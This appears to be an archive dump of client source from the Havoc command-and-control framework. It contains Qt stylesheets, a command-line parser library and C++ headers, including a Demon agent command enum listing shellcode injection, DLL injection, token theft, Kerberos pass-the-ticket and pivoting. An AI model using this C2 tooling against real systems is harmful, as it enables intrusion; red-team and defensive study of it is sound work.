}havoc-0.6~git20240910.69ce17c/client/data/stylesheets/teamserverTab.qss000066400000000000000000000002641467014221700253700ustar00rootroot00000000000000QTabBar::close-button { image: url(:/icons/tab-close-button); subcontrol-position: right; } QTabBar { border-top-color: #ff79c6; } QTabBar::tab { height: 26px; } havoc-0.6~git20240910.69ce17c/client/data/themes/000077500000000000000000000000001467014221700207435ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/themes/darkorange.stylesheet000066400000000000000000000252651467014221700252050ustar00rootroot00000000000000QToolTip { border: 1px solid black; background-color: #ffa02f; padding: 1px; border-radius: 3px; opacity: 100; } QWidget { color: #b1b1b1; background-color: #323232; } QWidget:item:hover { background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #ca0619); color: #000000; } QWidget:item:selected { background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); } QMenuBar::item { background: transparent; } QMenuBar::item:selected { background: transparent; border: 1px solid #ffaa00; } QMenuBar::item:pressed { background: #444; border: 1px solid #000; background-color: QLinearGradient( x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434/*, stop:0.2 #343434, stop:0.1 #ffaa00*/ ); margin-bottom:-1px; padding-bottom:1px; } QMenu { border: 1px solid #000; } QMenu::item { padding: 2px 20px 2px 20px; } QMenu::item:selected { color: #000000; } QWidget:disabled { color: #404040; background-color: #323232; } QAbstractItemView { background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0.1 #646464, stop: 1 #5d5d5d); } QWidget:focus { /*border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);*/ } QLineEdit { background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0 #646464, stop: 1 #5d5d5d); padding: 1px; border-style: solid; border: 1px solid #1e1e1e; border-radius: 5; } QPushButton { color: #b1b1b1; background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); border-width: 1px; border-color: #1e1e1e; border-style: solid; border-radius: 6; padding: 3px; font-size: 12px; padding-left: 5px; padding-right: 5px; } QPushButton:pressed { background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); } QComboBox { selection-background-color: #ffaa00; background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); border-style: solid; border: 1px solid #1e1e1e; border-radius: 5; } QComboBox:hover,QPushButton:hover { border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); } QComboBox:on { padding-top: 3px; padding-left: 4px; background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); selection-background-color: #ffaa00; } QComboBox QAbstractItemView { border: 2px solid darkgray; selection-background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); } QComboBox::drop-down { subcontrol-origin: padding; subcontrol-position: top right; width: 15px; border-left-width: 0px; border-left-color: darkgray; border-left-style: solid; /* just a single line */ border-top-right-radius: 3px; /* same radius as the QComboBox */ border-bottom-right-radius: 3px; } QComboBox::down-arrow { image: url(:/down_arrow.png); } QGroupBox:focus { border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); } QTextEdit:focus { border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); } QScrollBar:horizontal { border: 1px solid #222222; background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); height: 7px; margin: 0px 16px 0 16px; } QScrollBar::handle:horizontal { background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); min-height: 20px; border-radius: 2px; } QScrollBar::add-line:horizontal { border: 1px solid #1b1b19; border-radius: 2px; background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); width: 14px; subcontrol-position: right; subcontrol-origin: margin; } QScrollBar::sub-line:horizontal { border: 1px solid #1b1b19; border-radius: 2px; background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); width: 14px; subcontrol-position: left; subcontrol-origin: margin; } QScrollBar::right-arrow:horizontal, QScrollBar::left-arrow:horizontal { border: 1px solid black; width: 1px; height: 1px; background: white; } QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal { background: none; } QScrollBar:vertical { background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); width: 7px; margin: 16px 0 16px 0; border: 1px solid #222222; } QScrollBar::handle:vertical { background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); min-height: 20px; border-radius: 2px; } QScrollBar::add-line:vertical { border: 1px solid #1b1b19; border-radius: 2px; background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); height: 14px; subcontrol-position: bottom; subcontrol-origin: margin; } QScrollBar::sub-line:vertical { border: 1px solid #1b1b19; border-radius: 2px; background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #d7801a, stop: 1 #ffa02f); height: 14px; subcontrol-position: top; subcontrol-origin: margin; } QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical { border: 1px solid black; width: 1px; height: 1px; background: white; } QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical { background: none; } QTextEdit { background-color: #242424; } QPlainTextEdit { background-color: #242424; } QHeaderView::section { background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #616161, stop: 0.5 #505050, stop: 0.6 #434343, stop:1 #656565); color: white; padding-left: 4px; border: 1px solid #6c6c6c; } QCheckBox:disabled { color: #414141; } QDockWidget::title { text-align: center; spacing: 3px; /* spacing between items in the tool bar */ background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); } QDockWidget::close-button, QDockWidget::float-button { text-align: center; spacing: 1px; /* spacing between items in the tool bar */ background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); } QDockWidget::close-button:hover, QDockWidget::float-button:hover { background: #242424; } QDockWidget::close-button:pressed, QDockWidget::float-button:pressed { padding: 1px -1px -1px 1px; } QMainWindow::separator { background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); color: white; padding-left: 4px; border: 1px solid #4c4c4c; spacing: 3px; /* spacing between items in the tool bar */ } QMainWindow::separator:hover { background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #d7801a, stop:0.5 #b56c17 stop:1 #ffa02f); color: white; padding-left: 4px; border: 1px solid #6c6c6c; spacing: 3px; /* spacing between items in the tool bar */ } QToolBar::handle { spacing: 3px; /* spacing between items in the tool bar */ background: url(:/images/handle.png); } QMenu::separator { height: 2px; background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); color: white; padding-left: 4px; margin-left: 10px; margin-right: 5px; } QProgressBar { border: 2px solid grey; border-radius: 5px; text-align: center; } QProgressBar::chunk { background-color: #d7801a; width: 2.15px; margin: 0.5px; } QTabBar::tab { color: #b1b1b1; border: 1px solid #444; border-bottom-style: none; background-color: #323232; padding-left: 10px; padding-right: 10px; padding-top: 3px; padding-bottom: 2px; margin-right: -1px; } QTabWidget::pane { border: 1px solid #444; top: 1px; } QTabBar::tab:last { margin-right: 0; /* the last selected tab has nothing to overlap with on the right */ border-top-right-radius: 3px; } QTabBar::tab:first:!selected { margin-left: 0px; /* the last selected tab has nothing to overlap with on the right */ border-top-left-radius: 3px; } QTabBar::tab:!selected { color: #b1b1b1; border-bottom-style: solid; margin-top: 3px; background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:.4 #343434); } QTabBar::tab:selected { border-top-left-radius: 3px; border-top-right-radius: 3px; margin-bottom: 0px; } QTabBar::tab:!selected:hover { /*border-top: 2px solid #ffaa00; padding-bottom: 3px;*/ border-top-left-radius: 3px; border-top-right-radius: 3px; background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434, stop:0.2 #343434, stop:0.1 #ffaa00); } QRadioButton::indicator:checked, QRadioButton::indicator:unchecked{ color: #b1b1b1; background-color: #323232; border: 1px solid #b1b1b1; border-radius: 6px; } QRadioButton::indicator:checked { background-color: qradialgradient( cx: 0.5, cy: 0.5, fx: 0.5, fy: 0.5, radius: 1.0, stop: 0.25 #ffaa00, stop: 0.3 #323232 ); } QCheckBox::indicator{ color: #b1b1b1; background-color: #323232; border: 1px solid #b1b1b1; width: 9px; height: 9px; } QRadioButton::indicator { border-radius: 6px; } QRadioButton::indicator:hover, QCheckBox::indicator:hover { border: 1px solid #ffaa00; } QCheckBox::indicator:checked { image:url(:/images/checkbox.png); } QCheckBox::indicator:disabled, QRadioButton::indicator:disabled { border: 1px solid #444; }havoc-0.6~git20240910.69ce17c/client/external/000077500000000000000000000000001467014221700203675ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/external/json/000077500000000000000000000000001467014221700213405ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/external/spdlog/000077500000000000000000000000001467014221700216575ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/external/toml/000077500000000000000000000000001467014221700213425ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/000077500000000000000000000000001467014221700201705ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/External.h000066400000000000000000000002701467014221700221220ustar00rootroot00000000000000#ifndef HAVOC_EXTERNAL_H #define HAVOC_EXTERNAL_H #include #include #include using json = nlohmann::json; #endif //HAVOC_EXTERNAL_H havoc-0.6~git20240910.69ce17c/client/include/Havoc/000077500000000000000000000000001467014221700212305ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/Havoc/CmdLine.hpp000066400000000000000000000570301467014221700232610ustar00rootroot00000000000000/* Copyright (c) 2009, Hideyuki Tanaka All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #pragma once #include #include #include #include #include #include #include #include #include #include #include namespace cmdline{ namespace detail{ template class lexical_cast_t{ public: static Target cast(const Source &arg){ Target ret; std::stringstream ss; if (!(ss<>ret && ss.eof())) throw std::bad_cast(); return ret; } }; template class lexical_cast_t{ public: static Target cast(const Source &arg){ return arg; } }; template class lexical_cast_t{ public: static std::string cast(const Source &arg){ std::ostringstream ss; ss< class lexical_cast_t{ public: static Target cast(const std::string &arg){ Target ret; std::istringstream ss(arg); if (!(ss>>ret && ss.eof())) throw std::bad_cast(); return ret; } }; template struct is_same { static const bool value = false; }; template struct is_same{ static const bool value = true; }; template Target lexical_cast(const Source &arg) { return lexical_cast_t::value>::cast(arg); } static inline std::string demangle(const std::string &name) { int status=0; char *p=abi::__cxa_demangle(name.c_str(), 0, 0, &status); std::string ret(p); free(p); return ret; } template std::string readable_typename() { return demangle(typeid(T).name()); } template std::string default_value(T def) { return detail::lexical_cast(def); } template <> inline std::string readable_typename() { return "string"; } } // detail //----- class cmdline_error : public std::exception { public: cmdline_error(const std::string &msg): msg(msg){} ~cmdline_error() throw() {} const char *what() const throw() { return msg.c_str(); } private: std::string msg; }; template struct default_reader{ T operator()(const std::string &str){ return detail::lexical_cast(str); } }; template struct range_reader{ range_reader(const T &low, const T &high): low(low), high(high) {} T operator()(const std::string &s) const { T ret=default_reader()(s); if (!(ret>=low && ret<=high)) throw cmdline::cmdline_error("range_error"); return ret; } private: T low, high; }; template range_reader range(const T &low, const T &high) { return range_reader(low, high); } template struct oneof_reader{ T operator()(const std::string &s){ T ret=default_reader()(s); if (std::find(alt.begin(), alt.end(), ret)==alt.end()) throw cmdline_error(""); return ret; } void add(const T &v){ alt.push_back(v); } private: std::vector alt; }; template oneof_reader oneof(T a1) { oneof_reader ret; ret.add(a1); return ret; } template oneof_reader oneof(T a1, T a2) { oneof_reader ret; ret.add(a1); ret.add(a2); return ret; } template oneof_reader oneof(T a1, T a2, T a3) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); ret.add(a8); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); ret.add(a8); ret.add(a9); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9, T a10) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); ret.add(a8); ret.add(a9); ret.add(a10); return ret; } //----- class parser{ public: parser(){ } ~parser(){ for (std::map::iterator p=options.begin(); p!=options.end(); p++) delete p->second; } void add(const std::string &name, char short_name=0, const std::string &desc=""){ if (options.count(name)) throw cmdline_error("multiple definition: "+name); options[name]=new option_without_value(name, short_name, desc); ordered.push_back(options[name]); } template void add(const std::string &name, char short_name=0, const std::string &desc="", bool need=true, const T def=T()){ add(name, short_name, desc, need, def, default_reader()); } template void add(const std::string &name, char short_name=0, const std::string &desc="", bool need=true, const T def=T(), F reader=F()){ if (options.count(name)) throw cmdline_error("multiple definition: "+name); options[name]=new option_with_value_with_reader(name, short_name, need, def, desc, reader); ordered.push_back(options[name]); } void footer(const std::string &f){ ftr=f; } void set_program_name(const std::string &name){ prog_name=name; } bool exist(const std::string &name) const { if (options.count(name)==0) throw cmdline_error("there is no flag: --"+name); return options.find(name)->second->has_set(); } template const T &get(const std::string &name) const { if (options.count(name)==0) throw cmdline_error("there is no flag: --"+name); const option_with_value *p=dynamic_cast*>(options.find(name)->second); if (p==NULL) throw cmdline_error("type mismatch flag '"+name+"'"); return p->get(); } const std::vector &rest() const { return others; } bool parse(const std::string &arg){ std::vector args; std::string buf; bool in_quote=false; for (std::string::size_type i=0; i=arg.length()){ errors.push_back("unexpected occurrence of '\\' at end of string"); return false; } } buf+=arg[i]; } if (in_quote){ errors.push_back("quote is not closed"); return false; } if (buf.length()>0) args.push_back(buf); for (size_t i=0; i &args){ int argc=static_cast(args.size()); std::vector argv(argc); for (int i=0; i lookup; for (std::map::iterator p=options.begin(); p!=options.end(); p++){ if (p->first.length()==0) continue; char initial=p->second->short_name(); if (initial){ if (lookup.count(initial)>0){ lookup[initial]=""; errors.push_back(std::string("short option '")+initial+"' is ambiguous"); return false; } else lookup[initial]=p->first; } } for (int i=1; i &args){ if (!options.count("help")) add("help", '?', "print this message"); check(args.size(), parse(args)); } void parse_check(int argc, char *argv[]){ if (!options.count("help")) add("help", '?', "print this message"); check(argc, parse(argc, argv)); } std::string error() const{ return errors.size()>0?errors[0]:""; } std::string error_full() const{ std::ostringstream oss; for (size_t i=0; imust()) oss<short_description()<<" "; } oss<<"[options] ... "<name().length()); } for (size_t i=0; ishort_name()){ oss<<" -"<short_name()<<", "; } else{ oss<<" "; } oss<<"--"<name(); for (size_t j=ordered[i]->name().length(); jdescription()<set()){ errors.push_back("option needs value: --"+name); return; } } void set_option(const std::string &name, const std::string &value){ if (options.count(name)==0){ errors.push_back("undefined option: --"+name); return; } if (!options[name]->set(value)){ errors.push_back("option value is invalid: --"+name+"="+value); return; } } class option_base{ public: virtual ~option_base(){} virtual bool has_value() const=0; virtual bool set()=0; virtual bool set(const std::string &value)=0; virtual bool has_set() const=0; virtual bool valid() const=0; virtual bool must() const=0; virtual const std::string &name() const=0; virtual char short_name() const=0; virtual const std::string &description() const=0; virtual std::string short_description() const=0; }; class option_without_value : public option_base { public: option_without_value(const std::string &name, char short_name, const std::string &desc) :nam(name), snam(short_name), desc(desc), has(false){ } ~option_without_value(){} bool has_value() const { return false; } bool set(){ has=true; return true; } bool set(const std::string &){ return false; } bool has_set() const { return has; } bool valid() const{ return true; } bool must() const{ return false; } const std::string &name() const{ return nam; } char short_name() const{ return snam; } const std::string &description() const { return desc; } std::string short_description() const{ return "--"+nam; } private: std::string nam; char snam; std::string desc; bool has; }; template class option_with_value : public option_base { public: option_with_value(const std::string &name, char short_name, bool need, const T &def, const std::string &desc) : nam(name), snam(short_name), need(need), has(false) , def(def), actual(def) { this->desc=full_description(desc); } ~option_with_value(){} const T &get() const { return actual; } bool has_value() const { return true; } bool set(){ return false; } bool set(const std::string &value){ try{ actual=read(value); has=true; } catch(const std::exception &e){ return false; } return true; } bool has_set() const{ return has; } bool valid() const{ if (need && !has) return false; return true; } bool must() const{ return need; } const std::string &name() const{ return nam; } char short_name() const{ return snam; } const std::string &description() const { return desc; } std::string short_description() const{ return "--"+nam+"="+detail::readable_typename(); } protected: std::string full_description(const std::string &desc){ return desc+" ("+detail::readable_typename()+ (need?"":" [="+detail::default_value(def)+"]") +")"; } virtual T read(const std::string &s)=0; std::string nam; char snam; bool need; std::string desc; bool has; T def; T actual; }; template class option_with_value_with_reader : public option_with_value { public: option_with_value_with_reader(const std::string &name, char short_name, bool need, const T def, const std::string &desc, F reader) : option_with_value(name, short_name, need, def, desc), reader(reader){ } private: T read(const std::string &s){ return reader(s); } F reader; }; std::map options; std::vector ordered; std::string ftr; std::string prog_name; std::vector others; std::vector errors; }; } // cmdlinehavoc-0.6~git20240910.69ce17c/client/include/Havoc/Connector.hpp000066400000000000000000000013361467014221700236760ustar00rootroot00000000000000#ifndef HAVOC_CONNECTOR_HPP #define HAVOC_CONNECTOR_HPP #include #include #include #include #include #include namespace HavocNamespace { class Connector : public QTcpSocket { private: QWebSocket* Socket = nullptr; Util::ConnectionInfo* Teamserver = nullptr; HavocSpace::Packager* Packager = nullptr; public: QString ErrorString = nullptr; Connector( Util::ConnectionInfo* ); ~Connector() noexcept; bool Disconnect(); void SendLogin(); void SendPackage( Util::Packager::PPackage package ); }; } #endif //HAVOC_CONNECTOR_HPP havoc-0.6~git20240910.69ce17c/client/include/Havoc/DBManager/000077500000000000000000000000001467014221700230105ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/Havoc/DBManager/DBManager.hpp000066400000000000000000000015451467014221700253060ustar00rootroot00000000000000#ifndef HAVOC_DBMANAGER_HPP #define HAVOC_DBMANAGER_HPP #include #include #include #include using namespace std; class HavocNamespace::HavocSpace::DBManager { private: QSqlDatabase DB; bool createNewDatabase(); public: static string DBFilePath; static int OpenSqlFile; static int CreateSqlFile; DBManager(const QString& FilePath, int OpenFlag = OpenSqlFile); bool addTeamserverInfo( const Util::ConnectionInfo& ); bool checkTeamserverExists( const QString& ProfileName ); bool removeTeamserverInfo( const QString& ProfileName ); bool removeAllTeamservers(); vector listTeamservers(); bool AddScript( QString Path ); bool RemoveScript( QString Path ); bool CheckScript( QString Path ); vector GetScripts(); }; #endifhavoc-0.6~git20240910.69ce17c/client/include/Havoc/DemonCmdDispatch.h000066400000000000000000000130221467014221700245450ustar00rootroot00000000000000#ifndef HAVOC_DEMONCMDDISPATCH_H #define HAVOC_DEMONCMDDISPATCH_H #include #include #include using namespace std; using namespace HavocNamespace; #define SEND( f ) \ if ( Send ) f; return true; #define CONSOLE_ERROR( x ) \ DemonConsole->Console->append( "" ); \ DemonConsole->Console->append( this->Prompt ); \ DemonConsole->TaskError( x ); #define CONSOLE_INFO( x ) \ DemonConsole->TaskInfo( Send, TaskID, x ); enum class Commands { CHECKIN = 100, CALLBACK = 10, CONSOLE_MESSAGE = 0x80, BOF_CALLBACK = 0x81, SLEEP = 11, PROC_LIST = 12, FS = 15, INLINE_EXECUTE = 20, JOB = 21, INJECT_DLL = 22, INJECT_SHELLCODE = 24, INJECT_DLL_SPAWN = 26, TOKEN = 40, PROC = 0x1010, INLINE_EXECUTE_ASSEMBLY = 0x2001, ASSEMBLY_LIST_VERSIONS = 0x2003, NET = 2100, CONFIG = 2500, SCREENSHOT = 2510, PIVOT = 2520, TRANSFER = 2530, SOCKET = 2540, KERBEROS = 2550, OUTPUT = 90, ERROR = 91, EXIT = 92, }; class DispatchOutput { public: HavocSpace::DemonCommands* DemonCommandInstance; auto MessageOutput( QString JsonString, const QString& Date ) const -> void; }; class CommandExecute { public: HavocSpace::DemonCommands* DemonCommandInstance; auto Exit( QString TaskID, QString Methode ) -> void; auto Sleep( QString TaskID, QString seconds ) -> void; auto Checkin( QString TaskID ) -> void; auto Job( QString TaskID, QString SubCommand, QString Argument ) -> void; auto FS( const QString& TaskID, QString SubCommand, QString Arguments ) -> void; auto Transfer( const QString& TaskID, QString SubCommand, QString FileID ) -> void; auto Socket( const QString& TaskID, QString SubCommand, QString Params ) -> void; auto Luid( const QString& TaskID ) -> void; auto Klist( const QString &TaskID, QString Argument1, QString Argument2 ) -> void; auto Purge( const QString &TaskID, QString Argument ) -> void; auto Ptt( const QString &TaskID, QString Ticket, QString Luid ) -> void; auto ProcModule( QString TaskID, int SubCommand, QString Args ) -> void; auto ProcList( QString TaskID, bool FromProcessManager ) -> void; auto ShellcodeInject( QString TaskID, QString InjectionTechnique, QString TargetPID, QString TargetArch, QString Path, QString Arguments ) const -> void; auto ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void; auto ShellcodeExecute( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void; auto DllInject( QString TaskID, QString TargetPID, QString Path, QString Params ) -> void; auto DllSpawn( QString TaskID, QString FilePath, QByteArray Args ) -> void; auto InlineExecute( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void; auto InlineExecuteGetOutput( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void; auto AssemblyInlineExecute( QString TaskID, QString Path, QString Args ) -> void; auto AssemblyListVersions( QString TaskID ) -> void; auto Net( QString TaskID, QString Command, QString Param ) -> void; auto Pivot( QString TaskID, QString Command, QString Param ) -> void; auto Token( QString TaskID, QString SubCommand, QString Arguments ) -> void; auto Config( const QString& TaskID, const QString& Key, const QString& Value ) -> void; auto Screenshot( const QString& TaskID ) -> void; auto Task( const QString& TaskID, const QString& Command ) -> void; auto AgentCommand( QMap CommandData ) -> void; }; class HavocSpace::DemonCommands { public: UserInterface::Widgets::DemonInteracted* DemonConsole = nullptr; QString Teamserver; QString DemonID; u64 MagicValue; QString AgentTypeName; DispatchOutput OutputDispatch; CommandExecute Execute; QString Prompt; /* Something the command scripts can write to */ QStringList BufferedMessages; typedef struct SubCommand { QString CommandString; QString Description; QString Behavior; QString NeedElevated; QStringList MitreTechniques; // TODO: finish this for all commands QString Usage; QString Example; QStringList Options; } SubCommand_t; typedef struct Command { QString CommandString; QString Description; QString Behavior; QString NeedElevated; QStringList MitreTechniques; QString Usage; QString Example; bool Module; std::vector SubCommands; } Command_t; static std::vector DemonCommandList; QMap CommandInputList; QMap CommandTaskInfo; explicit DemonCommands(); auto SetDemonConsole( UserInterface::Widgets::DemonInteracted* pInteracted ) -> void; auto DispatchCommand( bool Send, QString TaskID, const QString& commandline ) -> bool; auto PrintModuleCachedMessages() -> void; }; #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/Havoc.hpp000066400000000000000000000011241467014221700227770ustar00rootroot00000000000000#ifndef HAVOC_HAVOC_HPP #define HAVOC_HAVOC_HPP #include #include #include using namespace HavocNamespace; class HavocSpace::Havoc { using toml_t = toml::basic_value;; public: toml_t Config; UserInterface::HavocUi HavocAppUI; DBManager* dbManager; QMainWindow* HavocMainWindow; bool ClientInitConnect = true; Havoc( QMainWindow* ); ~Havoc(); void Init( int argc, char** argv ); void Start(); static void Exit(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/Packager.hpp000066400000000000000000000054411467014221700234620ustar00rootroot00000000000000#ifndef HAVOC_PACKAGER_H #define HAVOC_PACKAGER_H #include using namespace std; using namespace HavocNamespace; using namespace HavocSpace; namespace HavocNamespace::Util::Packager { typedef struct { int Event; string User; string Time; string OneTime; } Head_t; typedef struct { int SubEvent; QMap Info; // TODO: make it QJsonObject } Body_t ; typedef struct Package { Head_t Head; Body_t Body; } Package, *PPackage; // TODO: make everyone a struct with static members namespace InitConnection { extern const int Type; extern const int Success; extern const int Error; extern const int Login; } namespace Listener { extern const int Type; extern const int Add; extern const int Remove; extern const int Edit; extern const int Mark; extern const int Error; } namespace Chat { extern const int Type; extern const int NewMessage; extern const int NewListener; extern const int NewUser; extern const int UserDisconnect; extern const int NewSession; } namespace Gate { extern const int Type; extern const int Staged; extern const int Stageless; extern const int MSOffice; } namespace Session { extern const int Type; extern const int NewSession; extern const int SendCommand; extern const int ReceiveCommand; extern const int MarkAs; extern const int Remove; } namespace Service { extern const int Type; extern const int AgentRegister; extern const int ListenerRegister; } namespace Teamserver { extern const int Type; extern const int Logger; extern const int Profile; } } auto NewPackageCommand( const QString& Teamserver, Util::Packager::Body_t Body ) -> void; class HavocSpace::Packager { private: QString TeamserverName; public: static Util::Packager::PPackage DecodePackage(const QString& Package ); QJsonDocument EncodePackage( Util::Packager::Package Package ); bool DispatchPackage( Util::Packager::PPackage Package ); void setTeamserver(QString Name); public: bool DispatchInitConnection( Util::Packager::PPackage Package ); bool DispatchListener( Util::Packager::PPackage Package ); bool DispatchChat( Util::Packager::PPackage Package ); bool DispatchSession( Util::Packager::PPackage Package ); bool DispatchGate( Util::Packager::PPackage Package ); bool DispatchService( Util::Packager::PPackage Package ); bool DispatchTeamserver( Util::Packager::PPackage Package ); }; #endif //HAVOC_PACKAGER_H havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/000077500000000000000000000000001467014221700231435ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/Event.h000066400000000000000000000010741467014221700243770ustar00rootroot00000000000000#ifndef HAVOC_EVENT_H #define HAVOC_EVENT_H #include typedef struct { PyObject_HEAD PVOID SessionFuncList; } PyEvents, *PPyEvents; extern PyTypeObject PyEventClass_Type; void EventClass_dealloc( PPyEvents self ); PyObject* EventClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds ); // Methods PyObject* EventClass_OnNewSession( PPyEvents self, PyObject *args ); PyObject* EventClass_OnDemonOutput( PPyEvents self, PyObject *args ); #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/HavocUi.h000066400000000000000000000000671467014221700246550ustar00rootroot00000000000000#ifndef HAVOC_HAVOCUI_H #define HAVOC_HAVOCUI_H 